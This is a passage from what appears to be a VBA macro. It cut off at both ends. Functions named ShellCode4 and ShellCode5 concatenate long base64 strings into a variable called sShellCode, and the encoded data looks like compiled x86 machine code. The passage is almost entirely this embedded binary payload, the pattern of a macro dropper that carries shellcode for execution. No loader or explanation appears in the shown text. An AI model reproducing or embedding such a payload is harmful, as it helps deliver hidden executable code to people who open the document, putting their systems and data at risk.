    sShellCode = sShellCode + "dBlW6Ab8//+BZgz/7v//g2YYAIMmAINmCABZXl3Di/9Vi+yLRQhWi/HGRgwAhcB1Y+jPGgAAiUYIi0hsi"
    sShellCode = sShellCode + "Q6LSGiJTgSLDjsN4O0AEHQSiw2Y6wAQhUhwdQfo0zsAAIkGi0YEOwWg6gAQdBaLRgiLDZjrABCFSHB1CO"
    sShellCode = sShellCode + "gyNAAAiUYEi0YI9kBwAnUUg0hwAsZGDAHrCosIiQ6LQASJRgSLxl5dwgQA9kEMQHQGg3kIAHQk/0kEeAu"
    sShellCode = sShellCode + "LEYgC/wEPtsDrDA++wFFQ6AYTAABZWYP4/3UDCQbD/wbDi/9Vi+xR9kMMQFaL8IsHiUX8dA2DewgAdQeL"
    sShellCode = sShellCode + "RQwBBus+gycAg30MAH4wi0UIigD/TQyLy+iU/////0UIgz7/dQ6DPyp1D4vLsD/ofv///4N9DAB/1YM/A"
    sShellCode = sShellCode + "HUFi0X8iQdeycOL/1WL7IHsgAIAAKGE4gAQM8WJRfxTi10MVot1CDPAV4t9FP91EI2NpP3//4m10P3//4"
    sShellCode = sShellCode + "m95P3//4mFtP3//4mF8P3//4mFyP3//4mF6P3//4mFzP3//4mFvP3//4mFxP3//+h9/v//6J3n//+JhZT"
    sShellCode = sShellCode + "9//+F9nUr6I7n///HABYAAADoDA0AAIC9sP3//wB0CouFrP3//4NgcP2DyP/pNwsAAPZGDEB1Xlbo9QwA"
    sShellCode = sShellCode + "AFm6wOQAEIP4/3Qbg/j+dBaLyIPhH4vwwf4FweEGAwy1YPwAEOsCi8r2QSR/dZuD+P90GYP4/nQUi8iD4"
    sShellCode = sShellCode + "B/B+QXB4AYDBI1g/AAQ6wKLwvZAJIAPhXH///8zyTvZD4Rn////ihOJjdz9//+Jjdj9//+Jjbj9//+Ile"
    sShellCode = sShellCode + "/9//+E0g+EjgoAAEMz9omdwP3//zm13P3//w+MeQoAAI1C4DxYdw8PvsIPvoCQuAAQg+AP6wIzwA++hMG"
    sShellCode = sShellCode + "wuAAQagfB+ARZiYWM/f//O8EPhyAKAAD/JIW5WAAQg43o/f///4m1iP3//4m1vP3//4m1yP3//4m1zP3/"
    sShellCode = sShellCode + "/4m18P3//4m1xP3//+npCQAAD77Cg+ggdEqD6AN0NoPoCHQlSEh0FYPoAw+FygkAAION8P3//wjpvgkAA"
    sShellCode = sShellCode + "ION8P3//wTpsgkAAION8P3//wHppgkAAIGN8P3//4AAAADplwkAAION8P3//wLpiwkAAID6KnUsg8cEib"
    sShellCode = sShellCode + "3k/f//i3/8ib3I/f//O/4PjWwJAACDjfD9//8E953I/f//6VoJAACLhcj9//9rwAoPvsqNRAjQiYXI/f/"
    sShellCode = sShellCode + "/6T8JAACJtej9///pNAkAAID6KnUmg8cEib3k/f//i3/8ib3o/f//O/4PjRUJAACDjej9////6QkJAACL"
    sShellCode = sShellCode + "hej9//9rwAoPvsqNRAjQiYXo/f//6e4IAACA+kl0VYD6aHREgPpsdBiA+ncPhdYIAACBjfD9//8ACAAA6"
    sShellCode = sShellCode + "ccIAACAO2x1FkOBjfD9//8AEAAAiZ3A/f//6awIAACDjfD9//8Q6aAIAACDjfD9//8g6ZQIAACKAzw2dR"
    sShellCode = sShellCode + "6AewE0dRiDwwKBjfD9//8AgAAAiZ3A/f//6XAIAAA8M3UegHsBMnUYg8MCgaXw/f///3///4mdwP3//+l"
    sShellCode = sShellCode + "OCAAAPGQPhEYIAAA8aQ+EPggAADxvD4Q2CAAAPHUPhC4IAAA8eA+EJggAADxYD4QeCAAAibWM/f//IbXE"
    sShellCode = sShellCode + "/f//jYWk/f//UA+2wlDoKiEAAFmFwIqF7/3//1l0IouN0P3//4213P3//+i2+///igNDiZ3A/f//hMAPh"
    sShellCode = sShellCode + "LD8//+LjdD9//+Ntdz9///olPv//+m+BwAAD77Cg/hkD4+2AQAAD4RYAgAAg/hTD4+6AAAAdEyD6EF0EE"
    sShellCode = sShellCode + "hIdCRISHQISEgPhasFAACAwiDHhYj9//8BAAAAiJXv/f//6VYCAAD3hfD9//8wCAAAD4WeAAAAgY3w/f/"
    sShellCode = sShellCode + "/AAgAAOmPAAAA94Xw/f//MAgAAHUKgY3w/f//AAgAAIuN6P3//4P5/3UFuf///3+DxwT3hfD9//8QCAAA"
    sShellCode = sShellCode + "ib3k/f//i3/8ib3g/f//D4T+BAAAhf91C6Ek5gAQiYXg/f//i4Xg/f//x4XE/f//AQAAAOnMBAAAg+hYD"
    sShellCode = sShellCode + "4QiAwAASEh0fyvBD4S2AQAASEgPhesEAACLveT9//+DxwT3hfD9//8QCAAAib3k/f//dDAPt0f8UGgAAg"
    sShellCode = sShellCode + "AAjYX0/f//UI2F2P3//1DovzcAAIPEEIXAdB/Hhbz9//8BAAAA6xOKR/yIhfT9///Hhdj9//8BAAAAjYX"
    sShellCode = sShellCode + "0/f//iYXg/f//6XwEAACLB4PHBIm95P3//4XAdDuLSASFyXQ094Xw/f//AAgAAA+/AImN4P3//3QUmSvC"
    sShellCode = sShellCode + "0fjHhcT9//8BAAAA6TcEAAAhtcT9///pLAQAAKEg5gAQiYXg/f//UOiX6v//WekVBAAAg/hwD489AgAAD"
    sShellCode = sShellCode + "4QlAgAAg/hlD4wDBAAAg/hnD463AAAAg/hpdHyD+G50LoP4bw+F5wMAAPaF8P3//4CLveT9///Hhdj9//"
    sShellCode = sShellCode + "8IAAAAdGyBjfD9//8AAgAA62CDheT9//8Ei4Xk/f//i3D86KDO//+FwA+EYvr///aF8P3//yB0DGaLhdz"
    sShellCode = sShellCode + "9//9miQbrCIuF3P3//4kGx4W8/f//AQAAAOk+BQAAi73k/f//g43w/f//QMeF2P3//woAAACLjfD9///3"
    sShellCode = sShellCode + "wQCAAAAPhOABAACLB4tXBIPHCOkMAgAAi73k/f//g43w/f//QI2d9P3//7gAAgAAiZ3g/f//iYWg/f//O"
    sShellCode = sShellCode + "bXo/f//fQzHhej9//8GAAAA62p1EYD6Z3Vjx4Xo/f//AQAAAOtXOYXo/f//fgaJhej9//+Bvej9//+jAA"
    sShellCode = sShellCode + "AAfj2Ltej9//+Bxl0BAABW6Gzv//+Kle/9//9ZiYW4/f//hcB0EImF4P3//4m1oP3//4vY6wrHhej9//+"
    sShellCode = sShellCode + "jAAAAiweLNZCwABCDxwiJhYD9//+LR/yJhYT9//+NhaT9//9Q/7WI/f//D77C/7Xo/f//ib3k/f//UP+1"
    sShellCode = sShellCode + "oP3//42FgP3//1NQ/zVo5gAQ/9b/0Iu98P3//4PEHIHngAAAAHQdg73o/f//AHUUjYWk/f//UFP/NXTmA"
    sShellCode = sShellCode + "BD/1v/QWVmAve/9//9ndRiF/3UUjYWk/f//UFP/NXDmABD/1v/QWVmAOy11EYGN8P3//wABAABDiZ3g/f"
    sShellCode = sShellCode + "//U+nB/f//x4Xo/f//CAAAAImNtP3//+sqg+hzD4Ru/P//SEgPhFj+//+D6AMPhbsBAACLveT9///HhbT"
    sShellCode = sShellCode + "9//8nAAAA9oXw/f//gMeF2P3//xAAAAAPhDL+//+KhbT9//8EUcaF1P3//zCIhdX9///Hhcz9//8CAAAA"
    sShellCode = sShellCode + "6Q7+///3wQAQAAAPhRT+//+DxwT2wSB0GIm95P3///bBQHQGD79H/OsED7dH/JnrE4tH/PbBQHQDmesCM"
    sShellCode = sShellCode + "9KJveT9///2wUB0GoXSfxZ8BIXAcxD32BPW99qBjfD9//8AAQAA94Xw/f//AJAAAIv6i9h1AjP/ObXo/f"
    sShellCode = sShellCode + "//fQzHhej9//8BAAAA6xqDpfD9///3uAACAAA5hej9//9+BomF6P3//4vDC8d1BiG1zP3//41184uF6P3"
    sShellCode = sShellCode + "///+N6P3//4XAfwaLwwvHdC2Lhdj9//+ZUlBXU+jTMwAAg8EwiZ2g/f//i9iL+oP5OX4GA420/f//iA5O"
    sShellCode = sShellCode + "672NRfMrxkb3hfD9//8AAgAAiYXY/f//ibXg/f//dGKFwHQHi86AOTB0V/+N4P3//4uN4P3//8YBMEDrP"
    sShellCode = sShellCode + "0lmOTB0B4PAAoXJdfMrheD9///R+Osohf91C6Eg5gAQiYXg/f//i4Xg/f//6wdJgDgAdAVAhcl19SuF4P"
    sShellCode = sShellCode + "3//4mF2P3//4O9vP3//wAPhbgBAACLjfD9///2wUB0NffBAAEAAHQJxoXU/f//Lesa9sEBdAnGhdT9//8"
    sShellCode = sShellCode + "r6wz2wQJ0EcaF1P3//yDHhcz9//8BAAAAi4XI/f//K4XY/f//K4XM/f//iYWg/f//9sEMdSWL+Osdi43Q"
    sShellCode = sShellCode + "/f//jbXc/f//sCBP6DD1//+Dvdz9////dASF/3/f/7XM/f//i72U/f//i53Q/f//jYXU/f//UI2F3P3//"
    sShellCode = sShellCode + "+gy9f//9oXw/f//CFlZdC72hfD9//8EdSWLvaD9///rGY213P3//4vLsDBP6NP0//+Dvdz9////dASF/3"
    sShellCode = sShellCode + "/jg73E/f//AIuF2P3//3R1hcB+cYu14P3//4mFmP3//w+3Bv+NmP3//1BqBo1F9FCNhZD9//9Qg8YC6OI"
    sShellCode = sShellCode + "xAACDxBCFwHU2OYWQ/f//dC7/tZD9//+LvZT9//+LndD9//+NRfRQjYXc/f//6Iv0//+DvZj9//8AWVl1"
    sShellCode = sShellCode + "pusjg43c/f///+sai72U/f//UP+14P3//42F3P3//+hd9P//WVmDvdz9//8AfDL2hfD9//8EdCmLvaD9/"
    sShellCode = sShellCode + "//rHYuN0P3//4213P3//7AgT+j68///g73c/f///3QEhf9/34O9uP3//wB0E/+1uP3//+im6///g6W4/f"
    sShellCode = sShellCode + "//AFmLncD9//+KA4iF7/3//4TAdBOLjYz9//+LveT9//+K0Oly9f//gL2w/f//AHQKi4Ws/f//g2Bw/Yu"
    sShellCode = sShellCode + "F3P3//4tN/F9eM81b6EDC///Jw5BTUAAQUk4AEIJOABDgTgAQLE8AEDdPABB9TwAQrVAAEIv/VYvsi0UI"
    sShellCode = sShellCode + "o3j0ABBdw4v/VYvsgewoAwAAoYTiABAzxYlF/FOLXQhXg/v/dAdT6AwXAABZg6Xg/P//AGpMjYXk/P//a"
    sShellCode = sShellCode + "gBQ6DsxAACNheD8//+Jhdj8//+NhTD9//+DxAyJhdz8//+JheD9//+Jjdz9//+Jldj9//+JndT9//+Jtd"
    sShellCode = sShellCode + "D9//+Jvcz9//9mjJX4/f//ZoyN7P3//2aMncj9//9mjIXE/f//ZoylwP3//2aMrbz9//+cj4Xw/f//i0U"
    sShellCode = sShellCode + "EjU0EiY30/f//x4Uw/f//AQABAImF6P3//4tJ/ImN5P3//4tNDImN4Pz//4tNEImN5Pz//4mF7Pz///8V"
    sShellCode = sShellCode + "qLAAEGoAi/j/FaSwABCNhdj8//9Q/xWgsAAQhcB1EIX/dQyD+/90B1PoFxYAAFmLTfxfM81b6OfA///Jw"
    sShellCode = sShellCode + "4v/VmoBvhcEAMBWagLoxf7//4PEDFb/FZywABBQ/xWYsAAQXsOL/1WL7P81ePQAEP8VkLAAEIXAdANd/+"
    sShellCode = sShellCode + "D/dRj/dRT/dRD/dQz/dQjor////8wzwFBQUFBQ6Mf///+DxBTDi/9Vi+yLRQiFwHUV6Fba///HABYAAAD"
    sShellCode = sShellCode + "o1P///4PI/13Di0AQXcOL/1WL7FaLdQiF9nUV6C/a///HABYAAADorf///+n6AAAAi0YMqIMPhO8AAACo"
    sShellCode = sShellCode + "QA+F5wAAAKgCdAuDyCCJRgzp2AAAAIPIAYlGDKkMAQAAdQlW6Jc2AABZ6wWLRgiJBv92GP92CFbob////"
    sShellCode = sShellCode + "1lQ6IY1AACDxAyJRgSFwA+EiwAAAIP4/w+EggAAAPZGDIJ1UVboRf///1mD+P90MFboOf///1mD+P50JF"
    sShellCode = sShellCode + "dW6Cz////B+AVWjTyFYPwAEOgc////g+AfWcHgBgMHWV/rBbjA5AAQikAEJII8gnUHgU4MACAAAIF+GAA"
    sShellCode = sShellCode + "CAAB1FYtGDKgIdA6pAAQAAHUHx0YYABAAAIsO/04ED7YBQYkO6xT32BvAg+AQg8AQCUYMg2YEAIPI/15d"
    sShellCode = sShellCode + "w8zMzMzMU1ZXi1QkEItEJBSLTCQYVVJQUVFoUFwAEGT/NQAAAAChhOIAEDPEiUQkCGSJJQAAAACLRCQwi"
    sShellCode = sShellCode + "1gIi0wkLDMZi3AMg/7+dDuLVCQ0g/r+dAQ78nYujTR2jVyzEIsLiUgMg3sEAHXMaAEBAACLQwjosjYAAL"
    sShellCode = sShellCode + "kBAAAAi0MI6MQ2AADrsGSPBQAAAACDxBhfXlvDi0wkBPdBBAYAAAC4AQAAAHQzi0QkCItICDPI6Ia+//9"
    sShellCode = sShellCode + "Vi2gY/3AM/3AQ/3AU6D7///+DxAxdi0QkCItUJBCJArgDAAAAw1WLTCQIiyn/cRz/cRj/cSjoFf///4PE"
    sShellCode = sShellCode + "DF3CBABVVldTi+ozwDPbM9Iz9jP//9FbX15dw4vqi/GLwWoB6A82AAAzwDPbM8kz0jP//+ZVi+xTVldqA"
    sShellCode = sShellCode + "FJo9lwAEFHoHEsAAF9eW13DVYtsJAhSUf90JBTotf7//4PEDF3CCACL/1WL7IPsHFb/dQiNTeToj+7//4"
    sShellCode = sShellCode + "tFEIt1DIXAdAKJMIX2dSTon9f//8cAFgAAAOgd/f//gH3wAHQHi0Xsg2Bw/TPA6eABAACDfRQAdAyDfRQ"
    sShellCode = sShellCode + "CfNCDfRQkf8qDZfwAi03kU4oeV41+AYO5rAAAAAF+F41F5FAPtsNqCFDodTUAAItN5IPEDOsQi5HIAAAA"
    sShellCode = sShellCode + "D7bDD7cEQoPgCIXAdAWKH0frx4D7LXUGg00YAusFgPsrdQOKH0eLRRSFwA+ITwEAAIP4AQ+ERgEAAIP4J"
    sShellCode = sShellCode + "A+PPQEAAIXAdSqA+zB0CcdFFAoAAADrNooHPHh0DTxYdAnHRRQIAAAA6yPHRRQQAAAA6wqD+BB1FYD7MH"
    sShellCode = sShellCode + "UQigc8eHQEPFh1BopfAYPHAoPI/zPS93UUi7HIAAAAiVX4D7bLD7cMTovRg+IEdAgPvsuD6TDrGYHhAwE"
    sShellCode = sShellCode + "AAHQwjUufgPkZD77LdwOD6SCDwck7TRRzGoNNGAg5RfxyKHUFO034diGDTRgEg30QAHUji0UYT6gIdSCD"
    sShellCode = sShellCode + "fRAAdAOLfQyDZfwA61uLVfwPr1UUA9GJVfyKH0frir7///9/qAR1G6gBdT2D4AJ0CYF9/AAAAIB3CYXAd"
    sShellCode = sShellCode + "Ss5dfx2Juj/1f//9kUYAccAIgAAAHQGg038/+sP9kUYAmoAWA+VwAPGiUX8i0UQhcB0Aok49kUYAnQD91"
    sShellCode = sShellCode + "38gH3wAHQHi0Xsg2Bw/YtF/OsYi0UQhcB0AokwgH3wAHQHi0Xsg2Bw/TPAX1teycOL/1WL7DPAUP91EP9"
    sShellCode = sShellCode + "1DP91CDkFBPwAEHUHaOTtABDrAVDor/3//4PEFF3Di/9Vi+xRVot1DFbo+/r//4lFDItGDFmognUX6FLV"
    sShellCode = sShellCode + "///HAAkAAACDTgwgg8j/6S8BAACoQHQN6DfV///HACIAAADr41Mz26gBdBaJXgSoEA+EhwAAAItOCIPg/"
    sShellCode = sShellCode + "okOiUYMi0YMg+Dvg8gCiUYMiV4EiV38qQwBAAB1LOg7v///g8AgO/B0DOgvv///g8BAO/B1Df91DOjdEQ"
    sShellCode = sShellCode + "AAWYXAdQdW6HsxAABZ90YMCAEAAFcPhIAAAACLRgiLPo1IAYkOi04YK/hJiU4EO/t+HVdQ/3UM6OTb//+"
    sShellCode = sShellCode + "DxAyJRfzrTYPIIIlGDIPI/+t5i00Mg/n/dBuD+f50FovBg+Afi9HB+gXB4AYDBJVg/AAQ6wW4wOQAEPZA"
    sShellCode = sShellCode + "BCB0FGoCU1NR6DISAAAjwoPEEIP4/3Qli0YIik0IiAjrFjP/R1eNRQhQ/3UM6HXb//+DxAyJRfw5ffx0C"
    sShellCode = sShellCode + "YNODCCDyP/rCItFCCX/AAAAX1teycOL/1WL7IPsDFNWV4t9DIX/dB2DfRAAdBeLdRSF9nUX6OrT///HAB"
    sShellCode = sShellCode + "YAAADoaPn//zPAX15bycOLTQiFyXTig8j/M9L39zlFEHfWD699EPdGDAwBAACJTfyJffSL33QIi0YYiUX"
    sShellCode = sShellCode + "46wfHRfgAEAAAhf8PhL8AAACLTgyB4QgBAAB0L4tGBIXAdCgPiK8AAACL+zvYcgKL+Ff/dfz/NuiUMgAA"
    sShellCode = sShellCode + "KX4EAT6DxAwr3wF9/OtPO134ck+FyXQLVugb5v//WYXAdX2DffgAi/t0CTPSi8P3dfgr+lf/dfxW6Mn4/"
    sShellCode = sShellCode + "/9ZUOhv2v//g8QMg/j/dGGLzzvHdwKLyAFN/CvZO8dyUIt99Ospi0X8D74AVlDojP3//1lZg/j/dCn/Rf"
    sShellCode = sShellCode + "yLRhhLiUX4hcB/B8dF+AEAAACF2w+FQf///4tFEOn1/v//g04MIIvHK8Mz0vd1DOnj/v//g04MIItF9Ov"
    sShellCode = sShellCode + "rM8BQUGoDUGoDaAAAAMBoDLkAEP8V4LAAEKMw5gAQw6Ew5gAQg/j/dAyD+P50B1D/FeSwABDDi/9Vi+xT"

    ShellCode4 = sShellCode
End Function

Private Function ShellCode5() As String
    Dim sShellCode As String

    sShellCode = ""
    sShellCode = sShellCode + "i10Ig/vgd29WV4M9mPUAEAB1GOibGgAAah7o5RgAAGj/AAAA6ILi//9ZWYXbdASLw+sDM8BAUGoA/zWY9"
    sShellCode = sShellCode + "QAQ/xUIsAAQi/iF/3UmagxeOQUI/AAQdA1T6P0WAABZhcB1qesH6BPS//+JMOgM0v//iTCLx19e6xRT6N"
    sShellCode = sShellCode + "wWAABZ6PjR///HAAwAAAAzwFtdw8zMzFGNTCQIK8iD4Q8DwRvJC8FZ6aoQAABRjUwkCCvIg+EHA8EbyQv"
    sShellCode = sShellCode + "BWemUEAAAzMzMzFNWi0QkGAvAdRiLTCQUi0QkEDPS9/GL2ItEJAz38YvT60GLyItcJBSLVCQQi0QkDNHp"
    sShellCode = sShellCode + "0dvR6tHYC8l19Pfzi/D3ZCQYi8iLRCQU9+YD0XIOO1QkEHcIcgc7RCQMdgFOM9KLxl5bwhAAi/9Vi+xWi"
    sShellCode = sShellCode + "3UIi0YMqIN0HqgIdBr/dgjoZeD//4FmDPf7//8zwFmJBolGCIlGBF5dw2oQaADWABDoy9n//zPbM/+Jfe"
    sShellCode = sShellCode + "RqAejf5v//WYld/DP2iXXgOzWADQEQD43KAAAAoWz9ABCNBLA5GHRbiwCLQAyog3VIqQCAAAB1QY1G/YP"
    sShellCode = sShellCode + "4EHcSjUYQUOjb5f//WYXAD4SUAAAAoWz9ABD/NLBW6A28//9ZWaFs/QAQiwSw9kAMg3QMUFboZLz//1lZ"
    sShellCode = sShellCode + "RuuRi/iJfeTrY2o46NTe//9Ziw1s/QAQiQSxO8N0TmigDwAAoWz9ABCLBLCDwCBQ/xWAsAAQhcChbP0AE"
    sShellCode = sShellCode + "HUT/zSw6H3f//9ZoWz9ABCJHLDrG4sEsIPAIFD/FVywABChbP0AEIs8sIl95IlfDDv7dBaBZwwAgAAAiV"
    sShellCode = sShellCode + "8EiV8IiR+JXxyDTxD/x0X8/v///+gLAAAAi8fo9tj//8OLfeRqAejv5P//WcNqAP8V2LAAEMP/FeiwABD"
    sShellCode = sShellCode + "CBACL/1b/NUTmABD/FeywABCL8IX2dRv/NYT0ABD/FZCwABCL8Fb/NUTmABD/FfCwABCLxl7DoUDmABCD"
    sShellCode = sShellCode + "+P90FlD/NYz0ABD/FZCwABD/0IMNQOYAEP+hROYAEIP4/3QOUP8V9LAAEIMNROYAEP/pE+T//2oIaCDWA"
    sShellCode = sShellCode + "BDoFdj//2gcuQAQ/xXQsAAQi3UIx0ZcaLkAEINmCAAz/0eJfhSJfnDGhsgAAABDxoZLAQAAQ8dGaHjmAB"
    sShellCode = sShellCode + "BqDej55P//WYNl/AD/dmj/FfiwABDHRfz+////6D4AAABqDOjY5P//WYl9/ItFDIlGbIXAdQih4O0AEIl"
    sShellCode = sShellCode + "GbP92bOgQHwAAWcdF/P7////oFQAAAOjL1///wzP/R4t1CGoN6MHj//9Zw2oM6Ljj//9Zw4v/Vlf/FYSw"
    sShellCode = sShellCode + "ABD/NUDmABCL+OjE/v///9CL8IX2dU5oFAIAAGoB6CHd//+L8FlZhfZ0Olb/NUDmABD/NYj0ABD/FZCwA"
    sShellCode = sShellCode + "BD/0IXAdBhqAFbo+P7//1lZ/xWMsAAQg04E/4kG6wlW6Hzd//9ZM/ZX/xX8sAAQX4vGXsOL/1bof////4"
    sShellCode = sShellCode + "vwhfZ1CGoQ6Nbg//9Zi8Zew2oIaEjWABDoztb//4t1CIX2D4T4AAAAi0YkhcB0B1DoL93//1mLRiyFwHQ"
    sShellCode = sShellCode + "HUOgh3f//WYtGNIXAdAdQ6BPd//9Zi0Y8hcB0B1DoBd3//1mLRkCFwHQHUOj33P//WYtGRIXAdAdQ6Onc"
    sShellCode = sShellCode + "//9Zi0ZIhcB0B1Do29z//1mLRlw9aLkAEHQHUOjK3P//WWoN6Gvj//9Zg2X8AIt+aIX/dBpX/xUAsQAQh"
    sShellCode = sShellCode + "cB1D4H/eOYAEHQHV+id3P//WcdF/P7////oVwAAAGoM6DLj//9Zx0X8AQAAAIt+bIX/dCNX6AIeAABZOz"
    sShellCode = sShellCode + "3g7QAQdBSB/wjtABB0DIM/AHUHV+h/HgAAWcdF/P7////oHgAAAFboRdz//1noC9b//8IEAIt1CGoN6AL"
    sShellCode = sShellCode + "i//9Zw4t1CGoM6Pbh//9Zw4v/VYvsgz1A5gAQ/3RLg30IAHUnVv81ROYAEIs17LAAEP/WhcB0E/81QOYA"
    sShellCode = sShellCode + "EP81ROYAEP/W/9CJRQheagD/NUDmABD/NYj0ABD/FZCwABD/0P91COh4/v//oUTmABCD+P90CWoAUP8V8"
    sShellCode = sShellCode + "LAAEF3Di/9XaBy5ABD/FdCwABCL+IX/dQnoxvz//zPAX8NWizXMsAAQaFi5ABBX/9ZoTLkAEFejgPQAEP"
    sShellCode = sShellCode + "/WaEC5ABBXo4T0ABD/1mg4uQAQV6OI9AAQ/9aDPYD0ABAAizXwsAAQo4z0ABB0FoM9hPQAEAB0DYM9iPQ"
    sShellCode = sShellCode + "AEAB0BIXAdSSh7LAAEKOE9AAQofSwABDHBYD0ABD1ZAAQiTWI9AAQo4z0ABD/FeiwABCjROYAEIP4/w+E"
    sShellCode = sShellCode + "wQAAAP81hPQAEFD/1oXAD4SwAAAA6Bbc////NYD0ABCLNdiwABD/1v81hPQAEKOA9AAQ/9b/NYj0ABCjh"
    sShellCode = sShellCode + "PQAEP/W/zWM9AAQo4j0ABD/1qOM9AAQ6Nvf//+FwHRjiz2QsAAQaLZmABD/NYD0ABD/1//Qo0DmABCD+P"
    sShellCode = sShellCode + "90RGgUAgAAagHo49n//4vwWVmF9nQwVv81QOYAEP81iPQAEP/X/9CFwHQbagBW6L77//9ZWf8VjLAAEIN"
    sShellCode = sShellCode + "OBP+JBjPAQOsH6Gn7//8zwF5fw4M9OPwAEAB1BegOGwAAVos1rO8AEFcz/4X2dRiDyP/pkQAAADw9dAFH"
    sShellCode = sShellCode + "VugD0///WY10BgGKBoTAdepqBEdX6F7Z//+L+FlZiT348gAQhf90y4s1rO8AEFPrM1bo0tL//4A+PVmNW"
    sShellCode = sShellCode + "AF0ImoBU+gw2f//WVmJB4XAdD9WU1DoEi0AAIPEDIXAdUeDxwQD84A+AHXI/zWs7wAQ6J7Z//+DJazvAB"
    sShellCode = sShellCode + "AAgycAxwUs/AAQAQAAADPAWVtfXsP/NfjyABDoeNn//4Ml+PIAEACDyP/r5DPAUFBQUFDoaO///8yL/1W"
    sShellCode = sShellCode + "L7FGLTRBTM8BWiQeL8otVDMcBAQAAADlFCHQJi10Ig0UIBIkTiUX8gD4idRAzwDlF/LMiD5TARolF/Os8"
    sShellCode = sShellCode + "/weF0nQIigaIAkKJVQyKHg+2w1BG6A8tAABZhcB0E/8Hg30MAHQKi00Migb/RQyIAUaLVQyLTRCE23Qyg"
    sShellCode = sShellCode + "338AHWpgPsgdAWA+wl1n4XSdATGQv8Ag2X8AIA+AA+E6QAAAIoGPCB0BDwJdQZG6/NO6+OAPgAPhNAAAA"
    sShellCode = sShellCode + "CDfQgAdAmLRQiDRQgEiRD/ATPbQzPJ6wJGQYA+XHT5gD4idSb2wQF1H4N9/AB0DI1GAYA4InUEi/DrDTP"
    sShellCode = sShellCode + "AM9s5RfwPlMCJRfzR6YXJdBJJhdJ0BMYCXEL/B4XJdfGJVQyKBoTAdFWDffwAdQg8IHRLPAl0R4XbdD0P"
    sShellCode = sShellCode + "vsBQhdJ0I+gqLAAAWYXAdA2KBotNDP9FDIgBRv8Hi00Migb/RQyIAesN6AcsAABZhcB0A0b/B/8Hi1UMR"
    sShellCode = sShellCode + "ulW////hdJ0B8YCAEKJVQz/B4tNEOkO////i0UIXluFwHQDgyAA/wHJw4v/VYvsg+wMUzPbVlc5HTj8AB"
    sShellCode = sShellCode + "B1BeiMGAAAaAQBAAC+kPQAEFZTiB2U9QAQ/xUEsQAQoWj9ABCJNQjzABA7w3QHiUX8OBh1A4l1/ItV/I1"
    sShellCode = sShellCode + "F+FBTU4199OgK/v//i0X4g8QMPf///z9zSotN9IP5/3NCi/jB5wKNBA87wXI2UOhj1v//i/BZO/N0KYtV"
    sShellCode = sShellCode + "/I1F+FAD/ldWjX306Mn9//+LRfiDxAxIo+zyABCJNfDyABAzwOsDg8j/X15bycOL/1WL7IPsDFNW/xUMs"
    sShellCode = sShellCode + "QAQi9gz9jvedQQzwOt3ZjkzdBCDwAJmOTB1+IPAAmY5MHXwV4s9sLAAEFZWVivDVtH4QFBTVlaJRfT/14"
    sShellCode = sShellCode + "lF+DvGdDhQ6NTV//9ZiUX8O8Z0KlZW/3X4UP919FNWVv/XhcB1DP91/OiR1v//WYl1/FP/FQixABCLRfz"
    sShellCode = sShellCode + "rCVP/FQixABAzwF9eW8nDi/9WuIDTABC+gNMAEFeL+DvGcw+LB4XAdAL/0IPHBDv+cvFfXsOL/1a4iNMA"
    sShellCode = sShellCode + "EL6I0wAQV4v4O8ZzD4sHhcB0Av/Qg8cEO/5y8V9ew2oAaAAQAABqAP8VELEAEDPJhcAPlcGjmPUAEIvBw"
    sShellCode = sShellCode + "/81mPUAEP8VFLEAEIMlmPUAEADDi/9Vi+xW6AT4//+L8IX2D4QyAQAAi05ci1UIi8FXORB0DYPADI25kA"
    sShellCode = sShellCode + "AAADvHcu+BwZAAAAA7wXMEORB0AjPAhcB0B4tQCIXSdQczwOn1AAAAg/oFdQyDYAgAM8BA6eQAAACD+gE"
    sShellCode = sShellCode + "PhNgAAACLTQxTi15giU5gi0gEg/kID4W2AAAAaiRZi35cg2Q5CACDwQyB+ZAAAAB87YsAi35kPY4AAMB1"
    sShellCode = sShellCode + "CcdGZIMAAADrfj2QAADAdQnHRmSBAAAA6249kQAAwHUJx0ZkhAAAAOtePZMAAMB1CcdGZIUAAADrTj2NA"
    sShellCode = sShellCode + "ADAdQnHRmSCAAAA6z49jwAAwHUJx0ZkhgAAAOsuPZIAAMB1CcdGZIoAAADrHj21AgDAdQnHRmSNAAAA6w"
    sShellCode = sShellCode + "49tAIAwHUHx0ZkjgAAAP92ZGoI/9JZiX5k6weDYAgAUf/SWYleYFuDyP9fXl3Di/9Vi+y4Y3Nt4DlFCHU"
    sShellCode = sShellCode + "N/3UMUOie/v//WVldwzPAXcOL/1WL7IPsEKGE4gAQg2X4AINl/ABTV79O5kC7uwAA//87x3QNhcN0CffQ"
    sShellCode = sShellCode + "o4jiABDrZVaNRfhQ/xV4sAAQi3X8M3X4/xUgsQAQM/D/FYywABAz8P8VHLEAEDPwjUXwUP8VGLEAEItF9"
    sShellCode = sShellCode + "DNF8DPwO/d1B75P5kC76xCF83UMi8YNEUcAAMHgEAvwiTWE4gAQ99aJNYjiABBeX1vJw4MlKPwAEADDi/"
    sShellCode = sShellCode + "9Vi+xRgz0Q7wAQ/nUF6PYnAAChEO8AEIP4/3UHuP//AADJw2oAjU38UWoBjU0IUVD/FSSxABCFwHTiZot"
    sShellCode = sShellCode + "FCMnDi/9Vi+yD7BBTVot1DDPbO/N0FTldEHQQOB51EotFCDvDdAUzyWaJCDPAXlvJw/91FI1N8OgZ2///"
    sShellCode = sShellCode + "i0XwOVgUdR6LRQg7w3QGD7YOZokIOF38dAeLRfiDYHD9M8BA68uNRfBQD7YGUOjEAAAAWVmFwHR9i0Xwi"
    sShellCode = sShellCode + "4isAAAAg/kBfiU5TRB8IDPSOV0ID5XCUv91CFFWagn/cAT/FSixABCFwItF8HUQi00QO4isAAAAciA4Xg"
    sShellCode = sShellCode + "F0G4uArAAAADhd/A+EZv///4tN+INhcP3pWv///+iiw///xwAqAAAAOF38dAeLRfiDYHD9g8j/6Tv///8"
    sShellCode = sShellCode + "zwDldCA+VwFD/dQiLRfBqAVZqCf9wBP8VKLEAEIXAD4U6////67qL/1WL7GoA/3UQ/3UM/3UI6NX+//+D"
    sShellCode = sShellCode + "xBBdw4v/VYvsg+wQ/3UMjU3w6A/a//8PtkUIi03wi4nIAAAAD7cEQSUAgAAAgH38AHQHi034g2Fw/cnDi"
    sShellCode = sShellCode + "/9Vi+xqAP91COi5////WVldw4v/VYvsi0UIg/j+dQ/o6sL//8cACQAAADPAXcOFwHgIOwVE/AAQchLoz8"
    sShellCode = sShellCode + "L//8cACQAAAOhN6P//696LyIPgH8H5BYsMjWD8ABDB4AYPvkQBBIPgQF3Di/9Vi+xRUYtFDFaLdQiJRfi"
